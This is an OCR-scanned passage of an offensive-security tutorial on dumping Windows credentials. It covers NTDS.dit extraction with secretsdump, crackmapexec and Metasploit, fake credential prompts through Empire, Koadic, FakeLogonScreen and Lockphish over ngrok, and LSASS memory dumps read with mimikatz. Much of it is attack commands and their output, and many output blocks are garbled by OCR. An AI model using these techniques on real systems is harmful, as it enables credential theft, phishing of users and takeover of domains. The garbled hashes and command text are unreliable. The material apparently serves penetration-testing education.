msf5 post( 1> 8

® This way, you can retrieve the credentials of multiple applications.

www.indiancybersecuritysolutions.com



CREDENTIAL
DUMPING: NTDS.dit




CREDENTIAL DUMPING: NTDS.dit

Introduction to NTDS

NTDS stands for New Technologies Directory Services and DIT stands for Directory Information Tree. You can
find the NTDS file at “C:\Windows\NTDS”. This file acts as a database for Active Directory and stores all its
data including all the credentials. The Default size of Ntds.dit is 12 MB which can be extended up to 16TB. The
active directory database is stored in a single NTDS.dit file which is logically separated into the following
partitions:

Defirational details Corfiguration data e réormation sher

about objects and ! "
attriliites chat ane e ks Powr & o applcations i Active

can stone in tha AD ree Cerectarny

If you take a look at the information that NTDS provides you then you can see that Schema partition contains
all the necessary information about objects along with their attributes and their relation to one another.
Configuration partition has all the forest and trees which further replicates itself to al the domain controllers.
Domain partition consists of all the information related to the domain. And finally, all the details related to
any application are stored in the application partition of Active Directory. From a different perspective, you
can also divide data which is found in NTDS in the Link table and data table. The Link table has all the
attributes which refer to the objects finally the data table contains all the data related users, groups, etc. The
physical structure of NTDS has the following components.

Data Store Physical Structure Components

MTDS DI The physical database file in which all directory data is stored. This file consists

of three internal fables: the data table, link table, and security desoniptor (50}
Lahle.

The log file ovlo which dirsctory transactions are aritten before being
pommitted to the database file.

Tha fila that is used to track the point wp to which transactions in the log fila
hawe Bepn Cormnimiled,

BES1 10, Files Thal are ueissd 10 reseree spade Tar addnicmal leg Tiles if EDB.LOG Bacdmes
RESE LS ful,
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EXTRACTING CREDENTIAL by Exploit NTDS.dit
in Multiple methods

FeDump

FGDump is a tool that was created for mass password auditing of Windows Systems. This means that if an
attacker can use the FGDump to extract the password from the target machine. For these purposes, we will
need to download the FGDump from this link. We fire up the windows command prompt and traverse to the
path where we have downloaded the FGDump. In this case, it is in the Downloads Directory. As we have an
executable for the FGDump, we ran it directly from the command prompt.

| As no parameters were provided, FGDump by default did a local dump. After auditing the local passwords,
FGDump dumped Password and Cache successfully. Now let’s take a look at the dumped data.

FEFEatorlansm leadasEgdiamp-2 -1 - B-Ewean Ly goimg - oE s
1. Fizegig and tha nighty greup at Foofuz .me
to makE "|"||||"|I|_ T Il 11§ = JUSET A kit E&s 1LEFE
f ZHHE Fizzgaig and Foofiis.nel
ns with ABSOLAUTELY HO WARRAMNTY®
ia e Saftuare, and ol aFd e lcome: to FedistrEihbete it
r coprkain conditions ] zee the COFYIMG and README files
FE Anbormst1on.
Yo paramsters specified. doing a local dump. Specify * il woun Apes
=lp.
Eeeziom 1D: ZAZA-B4-82-17-56H—54
rtarting dump on 127.B.89.1

g CHeiild YRHEHEADY (&4A—Ilit

scceEensliunl meEppepEs =

TR R

lotal Faxled: H
fatal succe Funl:

FGDump creates a file with the extension PWDump. It-dumps hashes in that file. The name of the server is
used as the name of the PWDump file. We can read the data on the file using the type command. As shown in
the image given below, FGDump has successfully dumped hashes from the Target System.
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the image given below, FGDump has successfully dumped hashes from the Target System.
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PowerShell: NTDSULil

Enough with the Windows Command prompt, it’s time to move on to the PowerShell. We are going to use
another executable called NTDSutil.exe. We launch an instance of PowerShell. Then we run NTDSutil.exe with a
bunch of parameters instructing it to make a directory called temp in the C:\ drive and asks NTDSULtil to use
its ability to tap into the Active Directory Database and fetch the SYSTEM and SECURITY hive files as well as
the ntds.dit file. After working for a while, we have the hive files in the temp directory.

We transfer the hive files onto our Kali Linux Machine, to extract hashes from them. We will be using the
secretsdump.py file from the impacket toolkit to extract hashes. All we need is to provide the path of the
SYSTEM hive file and the NTDS.dit file and we are good to go. We see that in a matter of seconds secretsdump

extracts hashes for us.
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I g ./secretsdunp.py -ntds Sroot/ntds.dit -system JSroot/SYSTEM LOCAL
ImgacEset «wB.9.28]1.08v]l+F80 QR 70,. 181330. 3chehal Copyright J9I@ Secureauth Enrpnrafinr

[#] Target system bootEey: #xe? 75758111 fefSBcbBdaS61B365baGTF
[n] funpling Domain Credentials (domainuld: rid: Imhash:nthash)
[#] Searching for pekList, be patient
PEK & @ found and decrypted: SdficeffalldSaZc?eddse545d2chdls
Readimng amd decrypting hashes from /froot/s/muds.dit
inistrator: 588 :aadibsithilsdiecaadibiIthSisdiee: 3219EbSEfFfebfate29411 709 1a83bF 20 22:

CAV-1%:1801: sadibi35hS1 b4 eesadibsiShSldlbee ES5effilfcanslad9tedl0dibe FEZBB]L -2

Erbtgt 581 raaddbasisb5]l4RberaadiDs 35051 404ee  Salc84d8RANBTDCaRS M SelidB] 35755 11

ignite.localiral:1185: aadibs35b5 1684 ceaadibag35b5]1 484 ee: 16458decd 360 FedbbaidedSa]lSFa2 315 -::

ignite. locallyashika: 1686 aad3be35b51404eeaad3be 3505140400 Jdbded5TdT1690aTE92B4bebl 2283678 11

Kerberos keys from Froot/ntds . dit
dministrator:-aes?Sé-cts-hmac-shal-96:ell182a9a3e8 TcabachTabiSaes Fealb2945bheaI9Td 1698 Tdad F14cBe 52507
inistrator:aesl?B-cts-fimac-5hal-96'eaeScAARGCcd 7444461 15d7eabI9dafEf

dministrator:des-cbc-md5:dcalcd®deadias]ls

CAV-1%:aesitb-cts-hmac-shal-96:9abbsdb61dlschffdllc?leebefFfflbdielchibdBbi TheBae AT TdEAIcendd

SRV=-1§:aes128-cts-hmac-shal-96: fTcB2 1862190/ 5580054F5267d1C196

SAV-1%:des-che-mdS : d0cBI FASHca2S5Th

krhfgr.npirﬁﬁ-rrﬂ-ﬂnnr-nha:-QE:annﬁ?h??nnnr?ﬁhﬁTpnﬂﬁ?ﬂﬁrﬁﬁ?rﬁﬂﬁdﬁﬂarnpﬁﬁﬁﬁﬁ?ahl?aLﬂFHﬁEchqﬂn?ﬁ

krbtgt:aesi?8-cts-hmac-shal-96: TEBeffala2?SBitefecBoaba®lfal 85

krbtgt cdes-cbc=-md5: f 2bacibade 3895k
ignite.local\raj:aesis6=-cts-hmac-shal-96:85544dechla7dcP6aZbisebZedVed7TR5CI1 7489262892 T6F9I6RI66aCH40]1]

ignite.lacal\raj-aesi2B-cts-hnac-shal-96: 5faecilsSed 1266360933641 eedbidfa
ignite.localiraj:des=cbc=md5:bc&f5h1c1f2516cE

lgnite. localivashlika: aesdSe-cis-Mmmac-shal-96:efa95c1520a3bBfI3cS5&Bfcc?THelaii]1E] 7efS5]lafhiebdScaitftal I 1384 fE40
ignite.local\yashika:aesliB-cts-hmac-shal-%6: 7322 bc Toeddelbbbs FdS222e%ee188a2
lEﬁLI?-lﬂi311?35h1i6:JEF-{DE-“ﬂﬁzﬁquﬁ?EE{ﬂl56?33

[#] Cleaning up ...

= B

Dsinternals

DSInternals is a framework designed by Michael Grafnetter for performing AD Security Audits. It is a part of
the PowerShell official Gallery. This means we can download it by using the cmdlet SaveModule. After
downloading we need to install the module before using it. This can be done using the cmdlet Install-Module.
This will require a change in the Execution Policy. After installing the Modules, we are good to go. We first use
the Get-Bootkey cmdlet to extract the bootkey from the System Hive. After obtaining the bootkey, we will use
it to read the data of one or more accounts form the NTDIS file including the secret attributes like hashes
using the Get-ADBAccount cmdlet.

www.indiancybersecuritysolutions.com




HWindows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

'ry the new cross-platform PowerShell https aka . ms S pscored

F5 CrOWINDOWS\system3d» Save-Module DsSInternals :.:'-.-'-"i"'--.'l'-‘."-fjn‘."T.l:'r"."-:-l indowsPowershel ] 1.2 HModules

F5 CI\WINDOWS\system32> Install-Module D5Internals

Untrusted "EI.'IEE-iT.G":.

¥You are installing the modules from an untrusted repositorv. IF vou trust this repository, change its
InstallationPolicy wvalue By runnlng the Set-PSRepositary omdlet. Are you sure youd want toe 1nstall the modules from
"‘PEGallery " ?

[¥] Yes [A] Yesz ta All |[H] Ha ([L] Mo to All [5) Suzgend [2?] Help (default iz “N"): A

PE C:ZWWINDOWS\ =ys=tem3idy» Import-Module D5Internalz

PE CoZ\WINDOWS\ systemidy Set-ExecutionPolicy Unrestricted

Execution Policy Change

FThe execution policy helps protect you from scripts that vou do not trust. Changing the execution policy might expose
you to the security risks described in the about_Execution_Policies help topic at

https:/go-midcrosoft.com/fwlink/ LinkID=135178. Do vou want to change the execution policy?

[¥] ¥Yes [A] Yes to All [N] Mo [L] Mo to ALl [5] Suspend [?] Help (default is "N"): A

PS5 CiWWINDOWS\system32» Get-BootKey

g7 75758112 FefI98cb8das616369bReT

P5 C:WWINDOWS\system32> Get-ADDBACcount e775758112 fef98cbBda5616369b0B6TT

The Get-ADBAccount cmdlet creates a long sequence of output. Here we are showing you the data of one of

the users of the Target Machine. We can see that we have successfully extracted the NTLM hashes from the
NTDS.dit file.

Jetrda s e enl 2

I TR e e ] e

NTDSDump.exe

Now it’s time to use some external tools for attacking the NTDIS file. We will be using the NTDSDumpEx for
this particular Practical. You can download it from here. We unzip the contents of the compressed file we
downloaded and then use the executable file to attack the NTDS file. We will need to provide the path for the
ntds.dit file and the System Hive file. In no time the NTDSDumpEx gives us a list of the users with their
respective hashes.
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Remote: Metasploit(NTDS_location)

or all the Metasploit fans, there is no need to get depressed. Metasploit can work just fine in extracting
nashes from the NTDS.dit file. We have 2 exploits that can work side by side to target NTDS. The first one
ocates the ntds file. We need a session on the Target System to move forward. After we gain a session, we

choose the NTDS_location exploit and set the session identifier to the exploit. Upon running the exploit, we see
that we have the location of the NTDS.dit file.

msf5 > use post/windows/gather/ntds_location
msf5 post( ) » set session 1
gession = 1
msf5 postl ) » exploit
NTDS.DIT is located at: C:\Windows\NTDS\ntds.dit
Size: 20987904 bytes
Created: 2020-02-12 11:38:49 -2500
Modified: 2820-83-30 86 -a484
Accessed: 2020-02-12 11:38:49 -8504
Post module execution completed

msf5 post( ) > |

&

Metasploit(NTDS_grahber)

| Moving on, we use another exploit that can extract the NTDS.dit file, SAM and SYSTEM hive files from the
Target System. The catch is, it transfers these files in .cab compressed files.
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5 > post/windows/gather/ntds_grabber
& post( ) > set session 1
s1on =% 1

) » exploit

Running as SYSTEM
Running on a domain controller

#] PowerShell is installed.
The meterpreter is the same architecture as the 05!
Powershell Script executed
Creating All.cab

+] All.cab should be created in the current working directory
Downloading All.cah

Removing AlLl.cab
All.cab Removed
Post module execution completed
msf5 post( ) » |}

' \The exploit works and transfers the cab file to a location that can be seen in the image. Now to extract the
NTDS.dit and other hive files, we are going to use a tool called cabextract. This will extract all 3 files.

' \The exploit works and transfers the cab file to a location that can be seen in the image. Now to extract the
NTDS.dit and other hive files, we are going to use a tool called cabextract. This will extract all 3 files.

: # cabextract 20208338085225_default_192.168.1.108_CabinetFile_24%979%.cab
Extracting cabinet: 202803138885235 default_192.16B.1.188 CabinetFile 2439979 .cab
EETFacting SAM
pxtracting
PETractling ntds.dit

&11 denie, AG &FFOPS,

Remote Metasploit(secretsdump)

Suppose a scenario where we were able to procure the login credentials of the server by any method but it is
not possible to access the server directly, we can use this exploit in the Metasploit framework to extract the
hashes from the NTDS.dit file remotely. We will use this auxiliary to grab the hashes. We need to provide the
IP Address of the Target Machine, Username and Password. The auxiliary will grab the hashes and display

them on our screen in a few seconds.
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CrackMapExec

CrackMapExec is a sleek tool that can be installed with a simple apt install and it runs very swiftly. This tool
acts as a database for Active Directory and stores all its data including all the credentials and so we will
manipulate this file to dump the hashes as discussed previously. It requires a bunch of things. Requirements:
Username: Administrator Password: ICSS IP Address: 192.168.1.105 Syntax: crackmapexec smb [IP Address] -
u ‘[Username]’ -p ‘[Password]’ -ntds drsuapi

crackmapener smb 197, 16K ¥} -9 "Agministrator’ -p |CSS —nide dr=uapi

2.168,1.18% f Windowa Server zein standapd Evaluation 14393 obd (name:WIN-STEETYLED | {domain:;IGRITE) (sidni
[«] IGMITESAdministrator;IgnitelnT (Par

[+] Dumgind the HTDS, this could take & while &6 & 7rab

o

10N, 1. 185
BE. 16K, 1,185
BE. 16K, 1,185
3. 16H, 1,185
3. 16H., 1. 185
3168, 1,185
3168, 1,185
WE.1bH. 1,185
9.168.1.185
92.168.1.185
92.168.1.185
92.168.1.185
§2.168H.1.185
§2.168H.1.185
"5 i i i B 1=

o g e e e
R T T R i
LR R R R B B g

| =

[ il i i f f f & f i @ EX
i bl bl el ae BEEl DS NS SN N REE SN SN NS WEN mal
:“l:l:l:l:l:l:l:l:l:ll:ll:ll:ll:

o Tl Ted Tl el Tl Rl Rl el Rl il Rl R R R R
i A A A E R EEEEEEEREERERE
Efl!l!l!l!l!l:l:l:l:l:l:l:l:l:l
J EEEEEEEEEEE
L o of of of of of of of of o =l

GGG R R R T T T T ]
EELEELEE L E LR L EEEEEE L
o mC omiC s s s omiD sl sl omD om omiD oom oom om om)
EFEREEPEPEE

AR N R R R Rk

W= =R~ - -7 -0

Hash Cracking

To ensure that all the hashes that we extracted can be cracked, we decided to take one and extract it using
John the Ripper. We need to provide the format of the hash which is NT. John the Ripper will crack the
password in a matter of seconds.
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:~# cat hash
JDBDEGS/D/1698A/69204BEEBL122836/78
# john —format=NT hash —show

1 password hash cracked, @ left

« N

This concludes the various methods in which can extract the hashes that are stored in the Windows Server.
We included multiple tools to cover the various scenarios that an attacker can face. And the only way to
protect yourself against such attacks is to minimize the users who can access Domain Gontrollers.
Continuously, log and monitor the activity for any changes. It is frequently recertified.
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CREDENTIAL DUMPING:
Phishing Windows Credentials

Metasploit Framework:
phish_windows_credentials

Metasploit comes with an in-built post exploit that helps us to do the deed. As it is a post-exploitation module,
it just needs to be linked with an ongoing session. To use this module, simple type:

sf5 » use post/windows/gather/phish_windows_credentials

msf5 post( ) » set session 1
session = 1

msf5 post( ) » exploit

[+] PowerShell is installed.
Starting the popup script. Waiting on the user to fill inm hls credentials ...
[+] #< CLIXML

| This module waits for a new process to be started by the user. After the initiation of the process, a fake
Windows security dialogue box will open, asking for the user credentials as shown in the image below

Windows Securty

Please enter user credentials

User name: €] DESKTOP-PIGEFKDYa)

Password: |
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Metasploit comes with an in-built post exploit that helps us to do the deed. As it is a post-exploitation module,
it just needs to be linked with an ongoing session. To use this module, simple type:

PowerShell 15 installed.

Starting the popup script. Waiting on the user to fill in his credentials ...
< CLIXML

| UserName Domain Password

DESKTOP-PIGEFK® 123

<0bjs Version="1.1.8.1% xmlns="http://schemas.microsoft.com/powershell/2004/04%><0bj 5="progress"” Ri
cord”"><AvV>Preparing modules for first use.</AV><AI>B</AL><NILl ><PIx-1</PI><PC—1</PC><T>Completed<)

£

£ a script block and there 1s no _x@00D__ x000A_</S5><5 S5="Error">input. A script block cannot be eval

»<S S="Error">+ e—eemenenenenes x0000_ x000A_</5><5 S5="Error"> + CategoryInfo . Metadi

tNoInput ,Microsoft.PowerShell.Commands.InvokeHistoryCommand_x@808D  x@00A_</5><5 5="Error"> _x@@8D_
Post module execution completed

FakeLogonScreen

-akeLogonScreen tool was created by Arris Huijgen. It is developed in C# because it allows various
-rameworks to inject the utility into memory. We will remotely execute this tool using Metasploit. But first,
et’s download the tool using the link provided below Download FakeLogonScreen We simply upload this tool
from our meterpreter session and then remotely execute it using the following set of commands:

meterpreter > upload /root/FakelLogonScreen.exe .«
uploading : /root/FakelogonScreen.exe —

uploaded : /root/FakelLogonScreen.exe — .\FakeLogonScreen.exe

=

meterpreter > shell
Process 6124 created.
Channel 2 created.
Microsoft Windows [Version 10.0.18362.720]

(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\raj\Desktop>FakelLogonScreen.exe
FakelLogonScreen.exe
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N

I Upon execution, it will simulate the Windows lock screen to obtain the password from the user. To do so, this

tool will manifest the lock screen exactly like it is configured so that the user doesn’t get suspicious, just as it
is shown in the image below:

| It will validate the credentials locally or from Domain Controller as the user enters them and then display
them on the console as shown in the image below:

C:\Users\raj\Desktop>FakelLogonScreen.exe «f
FakeLogon5creen.exe

C:\Users\raj\Desktop>1
12

123

1234

raj: 1234 — Wrong
|

12

123

raj: 123 — Correct

123
_
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SharpLocker

This tool is very similar to the previous one. It was developed by Matt Pickford. just like FakeLogonScreen, this
tool, too, will exhibit the fake lock screen for the user to enter credentials and then dump then keystroke by
keystroke to the attacker. Download SharpLocker We will first upload this tool from our attacker machine to
the target system and then execute it. So, when you have the meterpreter session just type:

We downloaded the tool on the Desktop so we will traverse to that location and then execute it

meterpreter > shell <5

Process B24 created.

Channel 2 created.

Microsoft Windows [Version 10.8.18362.728]

({c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>cd C:\Users\raj\Desktop
cd C:\Users\raj\Desktop

Upon execution the tool will trigger the lock screen of the target system as shown in the image below:
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| And as the user enters the password, it will capture the keystrokes until the whole password is revealed as
shown in the image below:

C:\Users\raj\Desktop>SharpLocker.exe
SharpLocker.exe

C:\Users\raj\Desktop>System.Windows.Forms.TextBox, Text: 1
System.Windows.Forms.TextBox, Text: 12
System.Windows.Forms.TextBox, Text: 123 4

PowerShell Empire: collection/prompt

This module of the PowerShell Empire will prompt a dialogue box on the target system, asking for credentials
like we did earlier. We can use this module with the following commands:

(Empire: ) » usemodule collection/prompt
(Empire: ) > execute
'!'|

(Empire: ) >

Once the user types in the credentials on the dialogue box, the module will display it on the terminal as shown
in the image below:

Windows Security

=

3
b | E

Please enter user redentials

User name: €} pesxTOPPIGERKOYE v

Password: |

Cancel

www.indiancybersecuritysolutions.com




PowerShell Empire: collection/toasted

' This module of PowerShell Empire triggers a restart notification like the one which is generated when updates
require and reboot to install. To use this module, type the following command:

) > usemodule cullectinnﬁtﬂaﬁted
) » execute

Once the module executes, it will show the following dialogue box:

Windows will restart in 5 minutes to
Q finish installing updates

15 Minutes

Postpone

And once the Postpone button is clicked, it will ask for credentials to validate the decision to postpone as
shown in the image below:

Windows Security -

Are you sure you want to reschedule
restarting your PC?

Authentication i1s required to reschedule a system restart
raj

QK Cancel
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0 And as the user enters the credentials, It will print them as shown in the image below:

) > usemodule cnllectinnftnaﬁted
) > execute

y

(Empire: ) >
|+] Phished credentials [Not-verified]: DESKTOP-RGP2091./raj 123

Koadiac

A similar module to the one in PowerShell Empire can be found in Koadic. Once you have the session using
Koadic, use the following command to trigger the dialogue box:

(koadic: 7 use password_box
(koadic: execute
Zombie @: Job @ (implant/phish/password_box) created.

( koadic:

When the user enters the username and password in the dialogue box, the password will be displayed in the
terminal too as shown in the image below:

Zombie @: Job @ {implantfphiEhfpaéﬁwnrd_huxj created.
[+] Zombie @: Job @ (implant/phish/password_box) completed.
Input contents:

123
( koadic:
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PowerShell: Invoke-CredentialsPhish.psT

| There is a script that can be run on PowerShell which creates a fake login prompt for the user to enter the
credentials. Download Invoke-CredentialsPhish.ps1 To initiate the script, type:

The execution of the above commands will pop out a prompt asking for credentials as shown in the image
helow

PS5 C:\Windows\system32> Import-Module C:‘\Wsers\ra)\Desktop'Invoke-CredentialsPhish.psl

PS5 C:\Windows\system32>= Invoke-CredentialsPhish

Flease enter your user name and password,

Lser name: |!E'?i

Password: | T1]

So, once the user enters the credentials, they will be displayed on the screen as shown in the image below:

PS C:\Windows\system32> Invoke-CredentialsPhish
Username: ra)l Password: 123 Domain: Domain:

PS5 C:\Windows\system32>

www.indiancybersecuritysolutions.com



PowerShell: Invoke-LoginPrompt.psT

| Similarly, there is another script developed by Matt Nelson. This script will again open a dialogue box for the
user to enter the passwords. Download Invoke-LoginPrompt.ps1 To initiate the script, type the following:

PS C:\Windows\system32> Import-Module C:\Users\raj\Desktop'Invoke-LoginPrompt.psl

PS C:'\Windows'system3Z2> Invoke-LoginPrompt

Please enter user credentials

User name: € DESKTOP-FIGEFKDYaj

Password! 1Y

As you can see the dialogue box emerges on the screen and the user enters the credentials, then further they
will be displayed back on the terminal.

PS5 C:\Windows'\system32> Invoke-LoginPrompt

UserName Domain Password

P5 C:\Windows'system32>
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Lockphish

Lockphish is another tool that allows us to phish out the credentials, you can download this tool from here.
This tool creates a template that looks like it is redirecting the user to a YouTube video that will be hosted
into a PHP server, but it will prompt the user to enter the login credentials and then send them to the

attacker. Initiate the tool using the following command:

# ./ lockphish.sh

R
|I:x "
\ i-i__f -

coded by: github.com/thelinuxchoice/lockphish
twitter: @linux_choice

[+] Redirect after phishing (Default: Youtube )

[+] Starting php server ...

[+] Starting ngrok serve

[+] Building webpaga<

[+] Direct link: https://fabeda7a.ngrok.io

(%] Waiting targets, Press Ctrl + C to exit...

It will generate a public link using ngrok as shown in the image above, send that link to the target. When the
target executed the link, it asks to save a file. For this step, strong social engineering skills are required.

e & @ it fdbedaTa.ngrokso

i

You have chosen to open:

imdlex. hitml

which 1% Text Document (1003 KB)
Frarme data:

What chould Firefox do with this file?
(_) Open with | Notepad (default)

) Save File
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<« & @ f= fdbedaTa.ngrokio

Redirect 1o hitps-/iwww youtube com. =

It will generate a public link using ngrok as shown in the image above, send that link to the target. When the
target executed the link, it asks to save a file. For this step, strong social engineering skills are required.

And, we will have our credentials as shown in the image helow:

Waiting targets, Press Ctrl + C to exit ...

Target opened the link!
IP: 183.19.150.159
Device: Winbk x6& rv:74.0

Win credentials received!
Username: Administrator
Password: 123

Saved: win.saved.txt
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: CREDENTIAL
' DUMPING: Local Security
: Authority




Credential Dumping: Local Security
Authority (LSA|LSASS.EXE)

LSA and LSASS stands for “Local Security Authority” And “Local Security Authority Subsystem (server)
Service”, respectively The Local Security Authority (LSA) is a protected system process that authenticates and
logs users on to the local computer. Domain credentials are used by the operating system and authenticated
by the Local Security Authority (LSA). The LSA can validate user information by checking the Security
Accounts Manager (SAM) database located on the same computer. The LSA is a user-mode process
(LSASS.EXE) used to stores the security information of a system known as the Local Security Policy. The LSA
maintains local security policy information in a set of objects.

« The policy contains global policy information.

* TrustedDomain contains information about a trusted domain.

« The account contains information about a user, group, or local group account.

* Private Data contains protected information, such as server account passwords. This information is stored as
encrypted strings

LSASS manages the local system policy, user authentication, and auditing while handling sensitive security
data such as password hashes and Kerberos keys. The secret part of domain credentials, the password, is
protected by the operating system. Only code running in-process with the LSA can read and write domain
credentials.

LSASS can store credentials in multiple forms, including:

Reversibly encrypted plaintext

- Kerberos tickets (ticket-granting tickets (TGTs), service tickets)
« NT hash

« LAN Manager (LM) hash

-
| Credantalf Loegin leyer
b

— L

3 LEahi
Crpd = .'..I-.:r-.- il '-Ia1|:1.ll .:. "'_'I':"I Pha] Ol -‘ Py £l iI"l'l'lllrl"I

Medzgardl
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Windows /(Isass.exe) Credential Dump
using Mimikatz

Method 1: Task Manager

In your local machine (target) and open the task manager, navigate to processes for exploring the running
process of Isass.exe and make a right-click to explore its snippet. Choose the “Create Dump File” option which

will dump the stored credential.

ile  Liptions

View Help

| You will get the “Isass.DMP” file inside the /Temp directory of the user account directory under

/AppData/local

G 1o Sarvec i)

Dumping Process

Image Mame Liser Mame  CPU
B0 . B NE LiCECAL ... (I}
o ETHTEM 0]
CTng, ENE SYSTEM i)
el [ SeTEM [ 1]
a gl SETEM o
Feam. Ene raj (e 1
=xpdorer, ae raj (1
CopgeCrashHaraler, ., . SYSTEM [ 1
GoopeCrachHardlers.., SYSTEM (B 1]
Lightshot.exe =33 raj (I}
T TR AR
wrr Upen File Locstion

fisdic

s Ermd Process

Laars Erd Process Tree

Teare

o

LRSS

ey Creale Durmp Filg I

. 2t Fnanty k
Kl

A Propenies

Apphcations PYOCESEE Serviges | Performance | Metworking | Users

41K Googe Cr...

i LesTpaon

L DM SaEr
L DOM S

¢ ERTEO ...

AT L.
L Wirdioes .

L HostFrof..

oS ..
Cherrt S
Chert Ger

Desking ...
LN TGOS
eoge Cr,.,

Lighbsnecd
Lo 5. .,
Local Ses, .,

EaTosofs ..
EsTosofs ...
Mscrosoft

Spooder T,
Msrosoft
Hed B, .

Host Proc...

The file is located at:
CA\Users‘maj’\Applata“\Local. Temp'lsass DMP

The file has been successhully created.
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§ Now start mimikatz to get the data out of the DMP file using the following command:

. As you can see from the image below, we have a clear text password.

Windows Powerthell
Copyright <C» 2889 Microzoft Corporation. All rights reserved.

PE C:xWindowsssystend2? cd CisllserssvprajsDesktop
P CislzerssrajsDesktop? .“mimnikatz.exe

~-HUANN.

BRSO OHE.
B - ~ HH

e ~ < Wi
"HE v HE’

"Huann

nimikatz 2.2.80 {(x64) H1IBI6Z2 Maw

"H La Uie,. A L"Amoupr’ (oe.20.)
semw Benjanin DELPY ‘gentilkiwi’

s http:/'7blog.gentilkivi.coms-mimikatz
Uincent LE TOlX

> http:sspingcastle.com ~ http: "mysmart logon.com

B 2828 18:308:37

mimikatz ¥ privilege: zdebug

PFrivilege *Z2H" OK

¢ benjaminBgentilkiwi.com 3

¢ wincent . letouxPgrail .con >

S

nimikatz 0 zsekurlzadiminidunp CixUserssraj-ApplatasLocalsTempslsaszs . DMP

switch to HINIDUMF "Lisllzserssraj “Applataslocalslenpslsazss . DRF
nimikatz # sekurlszac: logonpaszsswords
Open ing

Authentication Id = B ; 334676 <(HBOBBREG:BEES1b6H >

Sesslon In(erattiue From 1

Uzer Hameo
[y mas 1y

Logon Server
Logon Time

a

WIHN-HFHMRDI?ITKD

WIN-HFMRDI7ITKD

: 47272028 9:11:54 PH

SI1D s E1-5-21-FARRTFRALAZ—ZRA1 RB4RA—1 77351451 ARA
m3Ivy =

(BAAEERAT ] Primarey

- = 7]

Uzernamne
w Domain
= LH
M1 LM
= STHA1
tepky =

ra
: WIN-NFMRDI?ITKD
> WSV heScBdR 772 aadibh435hh1484e e

vyoedlilYocHaee Y hYcebabhdZddS4badb
13FF6PcTicB424Y6aBe?5Bech 930602 checccalf hf

"CainllsersserajsApphatasLocalsTempslsass . DMP* File for minidump. ..

s e e ane
# Domain
# FPazsword

wil igest =
# Uzernamne
w  Dioima in
# Password
kerheros
# Uzername
# Domain
m Password
st
credman =
[8RREREA ]
# Usernane
= Domain

# Pagsword

in

ol
WIH-HFMRDIZFITKD

: 1234

ra.)
WHIN-NFHRDIZFITKD

1234

ra.j
WIN-HFMRDI I THKD
1234

peEntest
192 . 168.1.111

123
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Method 2: ProcDump

The ProcDump tool is a free command-line tool published by Sysinternals whose primary purpose is
monitoring an application and generating memory dumps. Use the “-accepteula” command-line option to
automatically accept the Sysinternals license agreement and “-ma” Parameter to write a dump file with all
process memory (Isass.exe) in a .dmp format.

Fiend Daimp oY . H siFinternals perocess dump ucility
|:I||_|'__'|"-' E|| | L » Y11 3 I-I.' s L N-0oar 3l I |'|'| -|'||'||'|'-'_| || il' ||."|-|' :
Lz inEwmna ls g R ARt erna ld - canm

121 :2H: mimp 1 imitiated: Cix<lazaerz~Ea =D laadsz~Pracduanp<mngn .. dap
I..-:'-l. i :Il-l' '_ '_||'i1 i|'|:'- | :' LA D e || ||I ||| I ||' = e i: H!l_

E mimp 1 coamplete: 33 ABH wierlbeen 1n B.9 ecamd:

. .-:'-l . : ) I|'|' 1 ||I|||| FEAC ITEO .

Again, repeat the same step and use mimikatz to read the mem.dmp file

And now, as you can see from the image below, we've got a clear-text password.

'.l H"l'l"l crazolt Carperscian. ALl wigher racaread.

AT vl ...'I CrollasrrwEn]sDeaktap
- I_'.-.II-:r rajsmskitopk minlhkakr e

-AEEA. |1II-| 2 2.0 Cxbd FI.H “.' H.l d OEIH LH e
id ™ d5E "II I |.||- l |8 r|r|| L r

R~ = NI mam I pjamdn I.I It pantc II I i |‘|il|_i|'a'|'.l|:|'u| it ELkiwd.
ERE & ~ ER hidip= 1M ||-rl ||| Looommimamals
- AN ||l wnt LI TI'J { wincent. laceusBymall . .

"HAEEAEg j |I peaSrpinwcanl e .rap & hllp: Fpvapard lesun . oo n

Aimikets ¥ privilsget Fdekuy
Frivilegse *"S0" O

mimiksrs &

nimikate F sphurlsas cple ol Ol o s s sDesn Laad § s Frad desp s p, dep

Ewitch e HIMIDNEF = ‘C:zwlesec-os §-Boen Leade < Feee o limptors m . deg”

nimiksrs K o |' i lm Ering wh bl
Upeniag § “Li%ls |:'r r e -] |-1 |:|l'| Frecdunp~mem.iesp fTile fer ninudesp. ..

Fl vk Bamticatian id | li.'- i I 'l.l' 'L HI'Il..'l-H'l..'lI-I R L - D
5 5 I ] =
I.I -I IIIm:

: IH IIFI'IF_'I
: 8 :I '| = RN D - HEH B AR 1 TR AL - L Bl

red
- |I'|-| HFRRDAMITRD
I. |r 'l-III rerel anilk 'IJ 2 T

- II |-I p ||-| Ahpsdb
B 11|||-I|'| 1 HII. 'I il I-I | F i | e N g

IIII'I HIFAHIG I TED
= 1334

T |
= HIR-HFARL I TED
134

rad
= IIIh HFERIGMITED

II-lHrIlI'IHﬂ-' |
= g FhE
i I.l:|l"l| ........
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Method 3: comsves.dIl

The comsves.dll DLL found in Windows\system32 that call minidump with rundll32, so you can use it to dump

the Lsass.exe process memory to retrieve credentials. Let’s identify the process ID for Isass before running the
DLL.

PE l.':="-.|.'i.|||||.'-|.l:"-.::l:l::l.l:r_"if-!:i' Cet-Proceis lzass

Hamdlez: HPHCKX> FMLH) GECKY UMM CPUCaE > [d Pireced cMames

h5&d 18 FhidHd 234 £ B. 44 172 | laaas

P CrwWindewssoygatemdd > s LI3Y cexe Ciwindows SestendZ~tensves od1l, Hinlbsmp 4%Y2 C:~mem.dmp Full
Fi CisWindowsSayatemEd »

Again, repeat the same step and use mimikatz to read the mem.dmp file.

Again, we've got a clear-text password.
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JI

Loslsera™~raj~Beokiap?

-HEHEH.
.EH T HE.
HE ~ = Efi
iE ~ ~ EH
"EH w HE"

"HEHEN'

"W La Uis,. A L'AfEir"™
Uimcent LE TOUX

minikatz H privilege! ! dekag
Privilege "Z208° DK

Cemimikats

mimikatx Z.2.8 {(x£4dr E183563

smmn Bemjamin PELPY "gentilkiwi’
» http!sklng.gantilkivi . con"mimnikats

* http: Apingoastle .com A

;B
Har B 2828 1R:38:37
N T
{ bEnjanidniigent 11K O0m 2

{ vincent . leteixPygmail .cam )
hEt P ARusRart Logen . oem  seas

nimikatz 0 gpkurlsal tmimidump Ciwmen, dep

Swiktch Eo HINIINHAFR 3 "Ci~man.dep”

